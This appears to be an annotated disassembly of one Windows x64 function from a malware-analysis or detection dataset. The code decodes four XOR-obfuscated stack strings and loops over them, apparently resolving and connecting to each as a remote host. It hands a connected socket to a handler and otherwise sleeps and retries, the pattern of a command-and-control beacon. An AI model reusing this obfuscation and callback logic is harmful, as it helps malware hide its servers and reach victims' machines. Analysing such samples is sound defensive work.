Function at 0x140009420
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
sub rsp, 0x3c8
lea rbp, [rsp + 0x80]
mov r8, qword [0x1400101e0]
lea rax, [rbp + 0x90]
mov rdx, rax
mov ecx, 0x202
call r8
mov byte [rbp + 0x10], 0xc
mov byte [rbp + 0x11], 0x6c
mov byte [rbp + 0x12], 0x5c
mov byte [rbp + 0x13], 0x61
mov byte [rbp + 0x14], 0x75
mov byte [rbp + 0x15], 0xb
mov byte [rbp + 0x16], 0x41
mov byte [rbp + 0x17], 0x54
mov byte [rbp + 0x18], 0xe
mov byte [rbp + 0x19], 0x4f
mov byte [rbp + 0x1a], 0x4c
mov byte [rbp + 0x1b], 0x35
mov byte [rbp + 0x1c], 0x6f
mov byte [rbp + 0x1d], 0x2d
mov byte [rbp + 0x1e], 0x2d
mov byte [rbp + 0x1f], 0x28
mov byte [rbp + 0x20], 0x2c
mov byte [rbp + 0x21], 0x28
mov byte [rbp + 0x22], 0x22
mov byte [rbp + 0x23], 0x48
lea rax, [rbp + 0x10]
mov qword [rbp + 0x2e0], rax
mov rax, qword [rbp + 0x2e0]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x140009547
lea rax, [rbp + 0x10]
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x2d8], rdx
mov qword [rbp + 0x2d0], rax
mov dword [rbp + 0x2cc], 0
jmp 0x14000953d
mov eax, dword [rbp + 0x2cc]
movsxd rdx, eax
mov rax, qword [rbp + 0x2d0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2cc]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2d8]
mov eax, dword [rbp + 0x2cc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2cc], 1
cmp dword [rbp + 0x2cc], 0x13
jle 0x1400094df
nop
lea rax, [rbp + 0x10]
mov qword [rbp + 0x330], rax
mov dword [rbp + 0x2a8], 0
jmp 0x140009572
mov eax, dword [rbp + 0x2a8]
cdqe
mov byte [rbp + rax + 0x10], 0
add dword [rbp + 0x2a8], 1
cmp dword [rbp + 0x2a8], 0x13
jle 0x14000955e
nop
mov rax, qword [rbp + 0x330]
mov qword [rbp + 0x30], rax
mov byte [rbp - 0x10], 0x58
mov byte [rbp - 0xf], 7
mov byte [rbp - 0xe], 0x46
mov byte [rbp - 0xd], 0x52
mov byte [rbp - 0xc], 0x6c
mov byte [rbp - 0xb], 0x5f
mov byte [rbp - 0xa], 0x6e
mov byte [rbp - 9], 0x6a
mov byte [rbp - 8], 0x49
mov byte [rbp - 7], 0x4d
mov byte [rbp - 6], 0x70
mov byte [rbp - 5], 0x2a
mov byte [rbp - 4], 0x6f
mov byte [rbp - 3], 0x2d
mov byte [rbp - 2], 0x2d
mov byte [rbp - 1], 0x28
mov byte [rbp], 0x2c
mov byte [rbp + 1], 0x28
mov byte [rbp + 2], 0x22
mov byte [rbp + 3], 0x48
lea rax, [rbp - 0x10]
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x2c0]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x140009684
lea rax, [rbp - 0x10]
lea rdx, [rbp - 0x10]
mov qword [rbp + 0x2b8], rdx
mov qword [rbp + 0x2b0], rax
mov dword [rbp + 0x2ac], 0
jmp 0x14000967a
mov eax, dword [rbp + 0x2ac]
movsxd rdx, eax
mov rax, qword [rbp + 0x2b0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2ac]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2b8]
mov eax, dword [rbp + 0x2ac]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2ac], 1
cmp dword [rbp + 0x2ac], 0x13
jle 0x14000961c
nop
lea rax, [rbp - 0x10]
mov qword [rbp + 0x328], rax
mov dword [rbp + 0x288], 0
jmp 0x1400096af
mov eax, dword [rbp + 0x288]
cdqe
mov byte [rbp + rax - 0x10], 0
add dword [rbp + 0x288], 1
cmp dword [rbp + 0x288], 0x13
jle 0x14000969b
nop
mov rax, qword [rbp + 0x328]
mov qword [rbp + 0x38], rax
mov byte [rbp - 0x30], 0x54
mov byte [rbp - 0x2f], 0x79
mov byte [rbp - 0x2e], 0x5c
mov byte [rbp - 0x2d], 0x49
mov byte [rbp - 0x2c], 0
mov byte [rbp - 0x2b], 0x5d
mov byte [rbp - 0x2a], 0x5a
mov byte [rbp - 0x29], 0x73
mov byte [rbp - 0x28], 0x44
mov byte [rbp - 0x27], 0x6a
mov byte [rbp - 0x26], 0x7a
mov byte [rbp - 0x25], 0xc
mov byte [rbp - 0x24], 0x6f
mov byte [rbp - 0x23], 0x2d
mov byte [rbp - 0x22], 0x2d
mov byte [rbp - 0x21], 0x28
mov byte [rbp - 0x20], 0x2c
mov byte [rbp - 0x1f], 0x28
mov byte [rbp - 0x1e], 0x22
mov byte [rbp - 0x1d], 0x48
lea rax, [rbp - 0x30]
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x1400097c1
lea rax, [rbp - 0x30]
lea rdx, [rbp - 0x30]
mov qword [rbp + 0x298], rdx
mov qword [rbp + 0x290], rax
mov dword [rbp + 0x28c], 0
jmp 0x1400097b7
mov eax, dword [rbp + 0x28c]
movsxd rdx, eax
mov rax, qword [rbp + 0x290]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x28c]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x298]
mov eax, dword [rbp + 0x28c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x28c], 1
cmp dword [rbp + 0x28c], 0x13
jle 0x140009759
nop
lea rax, [rbp - 0x30]
mov qword [rbp + 0x320], rax
mov dword [rbp + 0x268], 0
jmp 0x1400097ec
mov eax, dword [rbp + 0x268]
cdqe
mov byte [rbp + rax - 0x30], 0
add dword [rbp + 0x268], 1
cmp dword [rbp + 0x268], 0x13
jle 0x1400097d8
nop
mov rax, qword [rbp + 0x320]
mov qword [rbp + 0x40], rax
mov byte [rbp - 0x50], 1
mov byte [rbp - 0x4f], 0x52
mov byte [rbp - 0x4e], 5
mov byte [rbp - 0x4d], 0x5d
mov byte [rbp - 0x4c], 0x4d
mov byte [rbp - 0x4b], 3
mov byte [rbp - 0x4a], 0x57
mov byte [rbp - 0x49], 0x56
mov byte [rbp - 0x48], 0x69
mov byte [rbp - 0x47], 0xd
mov byte [rbp - 0x46], 0x6a
mov byte [rbp - 0x45], 0xa
mov byte [rbp - 0x44], 0x6f
mov byte [rbp - 0x43], 0x2d
mov byte [rbp - 0x42], 0x2d
mov byte [rbp - 0x41], 0x28
mov byte [rbp - 0x40], 0x2c
mov byte [rbp - 0x3f], 0x28
mov byte [rbp - 0x3e], 0x22
mov byte [rbp - 0x3d], 0x48
lea rax, [rbp - 0x50]
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x1400098fe
lea rax, [rbp - 0x50]
lea rdx, [rbp - 0x50]
mov qword [rbp + 0x278], rdx
mov qword [rbp + 0x270], rax
mov dword [rbp + 0x26c], 0
jmp 0x1400098f4
mov eax, dword [rbp + 0x26c]
movsxd rdx, eax
mov rax, qword [rbp + 0x270]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x26c]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x278]
mov eax, dword [rbp + 0x26c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x26c], 1
cmp dword [rbp + 0x26c], 0x13
jle 0x140009896
nop
lea rax, [rbp - 0x50]
mov qword [rbp + 0x318], rax
mov dword [rbp + 0x264], 0
jmp 0x140009929
mov eax, dword [rbp + 0x264]
cdqe
mov byte [rbp + rax - 0x50], 0
add dword [rbp + 0x264], 1
cmp dword [rbp + 0x264], 0x13
jle 0x140009915
nop
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0x48], rax
call fcn.140007f00
mov dword [rbp + 0x314], 4
mov byte [rbp + 0x33f], 0
mov dword [rbp + 0x338], 0
jmp 0x140009abd
mov eax, dword [rbp + 0x338]
cdqe
mov rax, qword [rbp + rax*8 + 0x30]
mov qword [rbp + 0x308], rax
lea rax, [rbp + 0x60]
mov r8d, 0x30
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp + 0x64], 2
mov dword [rbp + 0x68], 1
mov rbx, qword [0x1400101e8]
lea rax, [rbp + 0x236]
lea rdx, [rbp + 0x23b]
mov rcx, rax
call fcn.140009ee0
lea rax, [rbp + 0x236]
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x250], rax
mov rax, qword [rbp + 0x250]
movzx eax, byte [rax + 4]
test al, al
setne al
test al, al
je 0x140009a7d
mov rax, qword [rbp + 0x258]
mov rdx, qword [rbp + 0x258]
mov qword [rbp + 0x248], rdx
mov qword [rbp + 0x240], rax
mov dword [rbp + 0x23c], 0
jmp 0x140009a73
mov eax, dword [rbp + 0x23c]
movsxd rdx, eax
mov rax, qword [rbp + 0x240]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x23c]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x248]
mov eax, dword [rbp + 0x23c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x23c], 1
cmp dword [rbp + 0x23c], 4
jle 0x140009a15
nop
lea rdx, [rbp + 0x236]
lea r8, [rbp + 0x58]
lea rcx, [rbp + 0x60]
mov rax, qword [rbp + 0x308]
mov r9, r8
mov r8, rcx
mov rcx, rax
call rbx
mov dword [rbp + 0x304], eax
cmp dword [rbp + 0x304], 0
jne 0x140009ab6
mov byte [rbp + 0x33f], 1
jmp 0x140009acf
add dword [rbp + 0x338], 1
mov eax, dword [rbp + 0x338]
cmp eax, dword [rbp + 0x314]
jl 0x140009963
movzx eax, byte [rbp + 0x33f]
xor eax, 1
test al, al
je 0x140009af0
mov rax, qword [0x1400101d8]
mov ecx, 0x7530
call rax
jmp 0x140009c17
mov r10, qword [0x1400101f0]
mov rax, qword [rbp + 0x58]
mov ecx, dword [rax + 0xc]
mov rax, qword [rbp + 0x58]
mov edx, dword [rax + 8]
mov rax, qword [rbp + 0x58]
mov eax, dword [rax + 4]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, ecx
mov ecx, eax
call r10
mov qword [rbp + 0x2f8], rax
cmp qword [rbp + 0x2f8], 0xffffffffffffffff
jne 0x140009b5e
mov rdx, qword [0x1400101f8]
mov rax, qword [rbp + 0x58]
mov rcx, rax
call rdx
mov rax, qword [0x1400101d8]
mov ecx, 0x7530
call rax
jmp 0x140009c17
mov r9, qword [0x140010210]
mov rax, qword [rbp + 0x58]
mov rax, qword [rax + 0x10]
mov ecx, eax
mov rax, qword [rbp + 0x58]
mov rdx, qword [rax + 0x20]
mov rax, qword [rbp + 0x2f8]
mov r8d, ecx
mov rcx, rax
call r9
mov dword [rbp + 0x2f4], eax
cmp dword [rbp + 0x2f4], 0xffffffff
jne 0x140009bc9
mov rdx, qword [0x140010200]
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call rdx
mov rdx, qword [0x1400101f8]
mov rax, qword [rbp + 0x58]
mov rcx, rax
call rdx
mov rax, qword [0x1400101d8]
mov ecx, 0x7530
call rax
jmp 0x140009c17
mov rax, qword [rbp + 0x2f8]
mov qword [rbp + 0x2e8], rax
mov rax, qword [rbp + 0x2e8]
mov rcx, rax
call fcn.140007cb0
mov rdx, qword [0x140010200]
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call rdx
mov rdx, qword [0x1400101f8]
mov rax, qword [rbp + 0x58]
mov rcx, rax
call rdx
mov rax, qword [0x1400101d8]
mov ecx, 0x7530
call rax
jmp 0x14000994d